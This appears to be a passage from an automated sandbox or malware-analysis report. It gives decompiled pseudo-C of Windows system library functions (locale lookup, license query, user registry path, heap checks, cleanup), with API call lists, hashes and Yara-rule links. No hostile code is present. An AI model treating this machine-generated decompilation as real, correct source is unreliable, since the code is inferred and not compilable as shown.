RtlFreeHeap.1105(?,00000000,00000000,?,00000008,?,00000000,?,00000000), ref: 6B5D640B
RtlAllocateHeap.1105(?,00000008,-00000002,00000008,?,00000000,?), ref: 6B5D644D
memcpy.1105(00000000,-00000002,?,00000000,?), ref: 6B5D646B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Allocatememcpy$FreeMemoryQueryVirtualwcsrchr
String ID:
API String ID: 58330029-0
Opcode ID: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction ID: a5896a2378b9a786d393fa69cb655d79051615d165232f95b99958f6ce89bab9
Opcode Fuzzy Hash: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction Fuzzy Hash: F741F236A00255EBEB15DF6CC891BEF3779EF84714F0542A8E9019B250DB38DD02C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 6B54649B, Relevance: 10.6, APIs: 7, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6B54649B(signed int __ecx, short* __edx) {
				signed int _v8;
				char _v40;
				void* _v80;
				short _v82;
				char _v84;
				long _v88;
				char _v92;
				void* _v96;
				void* _v98;
				void* _v100;
				void* _v104;
				void* _v106;
				void* _v108;
				void* _v112;
				void* _v120;
				void* _v122;
				void* _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				short _t41;
				void* _t43;
				short _t45;
				void* _t65;
				short* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				signed int _t77;
				signed int _t79;

				_t69 = __edx;
				_t79 = (_t77 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6b63d360 ^ _t79;
				_t71 = __edx;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				if(__edx == 0) {
					_t37 = 0xc000000d;
					L7:
					_pop(_t72);
					_pop(_t74);
					_pop(_t65);
					return E6B58B640(_t37, _t65, _v8 ^ _t79, _t69, _t72, _t74);
				}
				_t75 = __ecx & 0x0000ffff;
				 *__edx = 0;
				_v80 =  &_v40;
				_t41 = 0x1e;
				_v82 = _t41;
				_t43 = E6B554720(__edx, __ecx & 0x0000ffff,  &_v84, 2, 0);
				if(_t43 < 0) {
					if(_t43 == 0xc0000023) {
						_v80 = 0;
						_v82 = 0;
						_t43 = E6B554720(__edx, _t75,  &_v84, 2, 1);
					}
					if(_t43 >= 0) {
						goto L2;
					} else {
						_t76 = 0xc000000d;
						L4:
						if(_v88 != _t79 + 0x24) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						if(_v88 != _t79 + 0x44) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						_t37 = _t76;
						goto L7;
					}
				}
				L2:
				_v88 = _t79 + 0x28;
				_t45 = 0x1e;
				 *((short*)(_t79 + 0x16)) = _t45;
				_t76 = E6B552EB0(_t69, _v80,  &_v92, 6, 0);
				if(_t76 < 0) {
					if(_t76 == 0xc0000023) {
						_v88 = 0;
						 *((short*)(_t79 + 0x16)) = 0;
						_t76 = E6B552EB0(_t69, _v80,  &_v92, 6, 1);
					}
					if(_t76 < 0) {
						goto L4;
					} else {
						goto L3;
					}
				}
				L3:
				if(0 != _v92) {
					_t76 = E6B554570(_t69, _v88, _t79 + 0x24, 3);
					if(_t76 >= 0) {
						 *_t71 =  *((intOrPtr*)(_t79 + 0x20));
					}
				}
				goto L4;
			}

0x6b54649b
0x6b5464a3
0x6b5464ad
0x6b5464b6
0x6b5464b8
0x6b5464bc
0x6b5464c0
0x6b5464c4
0x6b5464ca
0x6b5a1905
0x6b546550
0x6b546554
0x6b546555
0x6b546556
0x6b546561
0x6b546561
0x6b5464d2
0x6b5464d5
0x6b5464de
0x6b5464e2
0x6b5464e4
0x6b5464f1
0x6b5464f8
0x6b5a1914
0x6b5a1918
0x6b5a191e
0x6b5a192b
0x6b5a192b
0x6b5a1932
0x00000000
0x6b5a1938
0x6b5a1938
0x6b546532
0x6b54653a
0x6b5a1984
0x6b5a1984
0x6b546548
0x6b5a199c
0x6b5a199c
0x6b54654e
0x00000000
0x6b54654e
0x6b5a1932
0x6b5464fe
0x6b546504
0x6b546508
0x6b54650a
0x6b54651f
0x6b546523
0x6b5a1948
0x6b5a194c
0x6b5a1952
0x6b5a1967
0x6b5a1967
0x6b5a196b
0x00000000
0x6b5a1971
0x00000000
0x6b5a1971
0x6b5a196b
0x6b546529
0x6b546530
0x6b546572
0x6b546576
0x6b54657d
0x6b54657d
0x6b546576
0x00000000

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6B5464F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B54651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B54656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6B5A192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B5A1962

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 98ce18dd566916e7cb824544aa6028b696017a181968f31d43ba9a3da8408af9
Instruction ID: 4bf0071bb3840c3f8e90d6dc4b92850448c9ffd13f82342f2af639dbabfb5a3f
Opcode Fuzzy Hash: 98ce18dd566916e7cb824544aa6028b696017a181968f31d43ba9a3da8408af9
Instruction Fuzzy Hash: D3419C325083169EE311CF24D881BDBB7E9EF89B54F4009AAF990D7254E738CE558B93

Uniqueness

Uniqueness Score: -1.00%

Function 6B574020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B574020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _t43;
				char _t69;
				intOrPtr _t76;
				intOrPtr* _t78;

				_t78 = _a4;
				_t69 = 0;
				_t76 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(_t78 + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(_t78 + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t78 + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t43 =  *((intOrPtr*)(_t76 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t78 + 0x14)) = 0;
				} else {
					if(E6B554921(_t78 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t78 + 0x14)) = 0;
					}
					_t69 = 0;
				}
				if( *_t78 != 0x11c) {
					if( *_t78 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t78 + 0x114)) =  *(_t76 + 0xaf) & 0x000000ff;
					 *(_t78 + 0x116) =  *(_t76 + 0xae) & 0x000000ff;
					 *(_t78 + 0x118) = E6B574190();
					if( *_t78 == 0x124) {
						 *(_t78 + 0x11c) = E6B574190() & 0x0001ffff;
					}
					 *((char*)(_t78 + 0x11a)) = _t69;
					if(E6B574710( &_v16) != 0) {
						 *((char*)(_t78 + 0x11a)) = _v16;
					}
					RtlInitUnicodeString( &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E6B58A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t78 + 0x118) =  *(_t78 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t78 == 0x124) {
							 *(_t78 + 0x11c) =  *(_t78 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x6b57402a
0x6b57402d
0x6b574030
0x6b57403c
0x6b57403f
0x6b574042
0x6b57404b
0x6b574054
0x6b57405e
0x6b574067
0x6b57406a
0x6b574072
0x6b57407f
0x6b5b63db
0x6b5b63e8
0x6b5b63ec
0x6b5b63ec
0x6b5b63f0
0x6b5b63f0
0x6b574089
0x6b57414e
0x00000000
0x00000000
0x00000000
0x6b57408f
0x6b57408f
0x6b57409b
0x6b5740ac
0x6b5740bd
0x6b5740c6
0x6b57415f
0x6b57415f
0x6b5740cf
0x6b5740dd
0x6b5740e2
0x6b5740e2
0x6b5740f1
0x6b5740f9
0x6b5740fa
0x6b5740ff
0x6b574103
0x6b574107
0x6b57410f
0x6b57413f
0x6b574145
0x6b574111
0x6b574115
0x6b5b63fb
0x00000000
0x6b5b640b
0x00000000
0x6b5b640b
0x6b5b63fb
0x6b57411b
0x6b574132
0x6b57413b
0x6b574177
0x6b574177
0x00000000
0x6b57413b
0x6b57410f

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B5740B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B5740D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B5740F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B574108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B574155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6B5740E8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: 83758caa27e9ea1b1e3ea52d8b1f911a86d346bfaea2a659c0305f1020a8bcd3
Instruction ID: 187e71352850a41ee3f655548295c4275c10e65b419719af7a0d1c00f3e94091
Opcode Fuzzy Hash: 83758caa27e9ea1b1e3ea52d8b1f911a86d346bfaea2a659c0305f1020a8bcd3
Instruction Fuzzy Hash: 14419E75A1474A9BE725EFB4C4426EAF7F8EF49700F00487ED5A9C7240E338A545CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B55A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6B55A3E0(struct _EXCEPTION_RECORD _a4) {
				signed int _v8;
				char _v88;
				intOrPtr _v92;
				short _v94;
				char _v96;
				void* _v100;
				char _v104;
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t39;
				void* _t44;
				void* _t45;
				short _t46;
				void* _t47;
				struct _EXCEPTION_RECORD _t48;
				signed int _t49;

				_v8 =  *0x6b63d360 ^ _t49;
				_t48 = _a4;
				_push( &_v104);
				_push(0x50);
				_push( &_v88);
				_push(1);
				_push(0xfffffffa);
				_t25 = E6B589710();
				_t50 = _t25;
				if(_t25 >= 0 && E6B55A4B0(_t50, _v88,  &_v100) >= 0) {
					_push(_t45);
					_t46 = _v100;
					 *_t48 = 0;
					 *((short*)(_t48 + 2)) = _t46 + 0x22;
					_t31 = E6B563A1C(_t46 + 0x00000022 & 0x0000ffff);
					 *((intOrPtr*)(_t48 + 4)) = _t31;
					_t52 = _t31;
					if(_t31 == 0) {
						_t25 = 0xc0000017;
					} else {
						RtlAppendUnicodeToString(_t48, L"\\REGISTRY\\USER\\");
						_v96 = 0;
						_v94 = _t46;
						_v92 =  *((intOrPtr*)(_t48 + 4)) + (( *_t48 & 0x0000ffff) >> 1) * 2;
						_t47 = E6B55A500(_t39, _t48, _t52,  &_v96, _v88, 0);
						if(_t47 < 0) {
							RtlFreeUnicodeString(_t48);
						} else {
							 *_t48 =  *_t48 + _v96;
						}
						_t25 = _t47;
					}
					_pop(_t45);
				}
				return E6B58B640(_t25, _t39, _v8 ^ _t49, _t44, _t45, _t48);
			}

0x6b55a3ef
0x6b55a3f3
0x6b55a3f9
0x6b55a3fa
0x6b55a3ff
0x6b55a400
0x6b55a402
0x6b55a404
0x6b55a409
0x6b55a40b
0x6b55a41d
0x6b55a41e
0x6b55a423
0x6b55a429
0x6b55a431
0x6b55a436
0x6b55a439
0x6b55a43b
0x6b55a48f
0x6b55a43d
0x6b55a443
0x6b55a44d
0x6b55a45b
0x6b55a462
0x6b55a46e
0x6b55a472
0x6b55a497
0x6b55a474
0x6b55a478
0x6b55a478
0x6b55a47b
0x6b55a47b
0x6b55a47d
0x6b55a47d
0x6b55a48c

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6B55A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A414

Part of subcall function 6B55A4B0: RtlValidSid.1105(?,?,?,6B55A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A497

Part of subcall function 6B563A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6B5867C0,0000004E,00000000,?,6B5D83BE,?,?), ref: 6B563A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A443

Part of subcall function 6B55A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B55A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B55A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B55A469

Part of subcall function 6B55A500: RtlValidSid.1105(00000050,?), ref: 6B55A523
Part of subcall function 6B55A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6B55A54A

Strings

\REGISTRY\USER\, xrefs: 6B55A43D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: 1da9f3f2831bced106ce01f779630d2f7cb276e0dedd52c71bc02a6381328ebb
Instruction ID: 29cb45239c7f15275ebcf1cabffdcad26abf877e6ee0b96c3a8f0fc4702f53a7
Opcode Fuzzy Hash: 1da9f3f2831bced106ce01f779630d2f7cb276e0dedd52c71bc02a6381328ebb
Instruction Fuzzy Hash: 32218E32A00258DAEB11EFE8C801AEEB3F8EF44705B10452BE945EB154FB38E9158B61

Uniqueness

Uniqueness Score: -1.00%

Function 6B56B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6B56B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x6b638748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E6B54B150();
						} else {
							E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E6B54B150();
						__eflags =  *0x6b637bc8;
						if(__eflags == 0) {
							E6B602073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E6B56AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x6b56b8f0
0x6b56b8f2
0x6b56b8f4
0x6b5b2c4e
0x6b5b2c50
0x6b5b2c56
0x6b5b2c5c
0x6b5b2c60
0x6b5b2c7f
0x6b5b2c84
0x6b5b2c62
0x6b5b2c77
0x6b5b2c7c
0x6b5b2c8a
0x6b5b2c8f
0x6b5b2c94
0x6b5b2c9c
0x6b5b2ca5
0x6b5b2ca5
0x6b5b2c9c
0x6b5b2c50
0x6b56b8fa
0x6b56b902
0x6b56b921
0x6b56b921
0x6b56b924
0x6b56b924
0x6b56b927
0x00000000
0x00000000
0x6b56b929
0x6b56b92b
0x6b56b92d
0x6b56b940
0x00000000
0x6b56b940
0x6b56b932
0x6b56b932
0x00000000
0x6b56b932
0x00000000
0x6b56b904
0x6b56b904
0x6b56b90a
0x6b56b90c
0x6b56b916
0x6b56b919
0x6b56b915
0x6b56b915
0x6b56b91b
0x6b56b91b
0x00000000
0x6b56b910

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6B56B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6B5B2C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6B56B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6B5B2C8F

Strings

HEAP[%wZ]: , xrefs: 6B5B2C72
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6B5B2C8A
HEAP: , xrefs: 6B5B2C7F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: 192ba607adf21bb04f96346201e7425ddf86566c178c5c35f596f52239306477
Instruction ID: cb40dd8e96526d3f99cd533957b029b5e35650efcabd336bf9a6a13ee86eaea1
Opcode Fuzzy Hash: 192ba607adf21bb04f96346201e7425ddf86566c178c5c35f596f52239306477
Instruction Fuzzy Hash: BC11B1317091019BF718EB29C492BEAB7B5EB81BA4F1485A9F006CB364F73CD940CA51

Uniqueness

Uniqueness Score: -1.00%

Function 6B549240, Relevance: 10.6, APIs: 7, Instructions: 63
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6B549240(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x6b61f708);
				E6B59D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E6B5895D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E6B5895D0();
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6b6384c4 + 0xc0000,  *(_t65 + 0x10));
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6b6384c4 + 0xc0000,  *(_t65 + 0x1c));
				E6B562280(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6b6384c4 + 0xc0000,  *(_t65 + 0x20)), 0x6b6386b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_push( *(_t66 + 0x14));
					E6B5895D0();
					_push( *(_t66 + 0x10));
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E6B5895D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E6B549325();
					return E6B59D0D1(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6b6384c4 + 0xc0000, _t65));
				}
			}

0x6b549240
0x6b549242
0x6b549247
0x6b54924c
0x6b54924e
0x6b549255
0x6b549257
0x6b54925a
0x6b54925f
0x6b54925f
0x6b549266
0x6b549271
0x6b549276
0x6b549279
0x6b549295
0x6b5492b1
0x6b5492d7
0x6b5492dc
0x6b5492e0
0x6b5492e6
0x6b5492e8
0x6b5492ee
0x6b549332
0x6b549333
0x6b549337
0x6b549338
0x6b54933a
0x6b54933d
0x6b549342
0x6b549345
0x6b549349
0x6b54934e
0x6b549352
0x6b549357
0x6b5492f4
0x6b5492f4
0x6b5492f6
0x6b5492f9
0x6b549300
0x6b549324
0x6b549324

APIs

ZwClose.1105(00000000,6B61F708,0000000C,6B549219), ref: 6B54925A
ZwClose.1105(00000000,6B61F708,0000000C,6B549219), ref: 6B549279
RtlFreeHeap.1105(?,?,?,00000000,6B61F708,0000000C,6B549219), ref: 6B549295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6B61F708,0000000C,6B549219), ref: 6B5492B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6B61F708,0000000C,6B549219), ref: 6B5492CD
RtlAcquireSRWLockExclusive.1105(6B6386B4,?,?,?,?,?,00000000,?,?,?,00000000,6B61F708,0000000C,6B549219), ref: 6B5492D7
RtlFreeHeap.1105(?,?,?,6B6386B4,?,?,?,?,?,00000000,?,?,?,00000000,6B61F708,0000000C), ref: 6B54931A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: c689abc5a1e6e24b63e1632b7a8cc788a89555c1fe50e66c8bff29d33f1f0c6c
Instruction ID: 10186b38869f90618d181cad7b3aa672bb7000abc96aaa3ceeebeae22c08dd1d
Opcode Fuzzy Hash: c689abc5a1e6e24b63e1632b7a8cc788a89555c1fe50e66c8bff29d33f1f0c6c
Instruction Fuzzy Hash: 87215E72451600DFD765EF28CA01F95B7B9FF49308F004568E00A87AB2DB3DE941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 6B613E22, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
nativeCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E6B613E22(void* __ecx, signed char _a4, signed short _a8) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				signed int _t18;
				intOrPtr _t24;
				signed char _t32;
				intOrPtr _t37;

				_t18 = _a8 & 0x0000ffff;
				if(_t18 == 0) {
					L7:
					_t37 = 6;
					goto L8;
				} else {
					_t32 = _a4;
					if((_t32 & 0x00000001) != 0 || _t18 !=  *((intOrPtr*)(_t32 + 0x34))) {
						goto L7;
					} else {
						_v20 =  *((intOrPtr*)(_t32 + 0x30));
						_push( &_v8);
						_push(0);
						_push(0);
						_push(8);
						_t9 =  &_v20; // 0x6b635338
						_v16 = 0;
						_push(0x1a);
						_t24 = E6B58B0B0();
						if(_t24 != 0) {
							_t37 = _t24;
							if(_t37 != 0) {
								L8:
								E6B54CC50(_t37);
							} else {
								goto L6;
							}
						} else {
							_t37 = 0;
							L6:
							_t11 = _t32 + 0x24; // 0x6b638504
							E6B562280(_t24, _t11);
							 *(_t32 + 0x2c) =  *( *[fs:0x18] + 0x24);
							 *(_t32 + 0x36) =  *(_t32 + 0x36) | 0x00008000;
							E6B615977(_t32);
							 *(_t32 + 0x2c) =  *(_t32 + 0x2c) & 0x00000000;
							E6B55FFB0(_t32, _t37, _t11);
						}
					}
				}
				return _t37;
			}

0x6b613e27
0x6b613e34
0x6b613ea8
0x6b613eaa
0x00000000
0x6b613e36
0x6b613e36
0x6b613e3c
0x00000000
0x6b613e44
0x6b613e49
0x6b613e4f
0x6b613e50
0x6b613e51
0x6b613e52
0x6b613e54
0x6b613e57
0x6b613e5b
0x6b613e5d
0x6b613e64
0x6b613e70
0x6b613e74
0x6b613eab
0x6b613eac
0x00000000
0x00000000
0x00000000
0x6b613e66
0x6b613e66
0x6b613e76
0x6b613e76
0x6b613e7a
0x6b613e8b
0x6b613e93
0x6b613e97
0x6b613e9c
0x6b613ea1
0x6b613ea1
0x6b613e64
0x6b613e3c
0x6b613eb9

APIs

ZwTraceControl.1105(0000001A,8Sck,00000008,00000000,00000000,?,6B635338,00000000,6B635320,6B635320,6B635338,?,6B6384E0,?,00000001,6B525C80), ref: 6B613E5D
RtlNtStatusToDosError.1105(00000000,0000001A,8Sck,00000008,00000000,00000000,?,6B635338,00000000,6B635320,6B635320,6B635338,?,6B6384E0,?,00000001), ref: 6B613E6B
RtlAcquireSRWLockExclusive.1105(6B638504,00000000,0000001A,8Sck,00000008,00000000,00000000,?,6B635338,00000000,6B635320,6B635320,6B635338,?,6B6384E0), ref: 6B613E7A
RtlReleaseSRWLockExclusive.1105(6B638504,6B638504,00000000,0000001A,8Sck,00000008,00000000,00000000,?,6B635338,00000000,6B635320,6B635320,6B635338,?,6B6384E0), ref: 6B613EA1
RtlSetLastWin32Error.1105(00000006,6B635338,00000000,6B635320,6B635320,6B635338,?,6B6384E0,?,00000001,6B525C80,6B54591B), ref: 6B613EAC

Strings

8Sck, xrefs: 6B613E54, 6B613E5A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

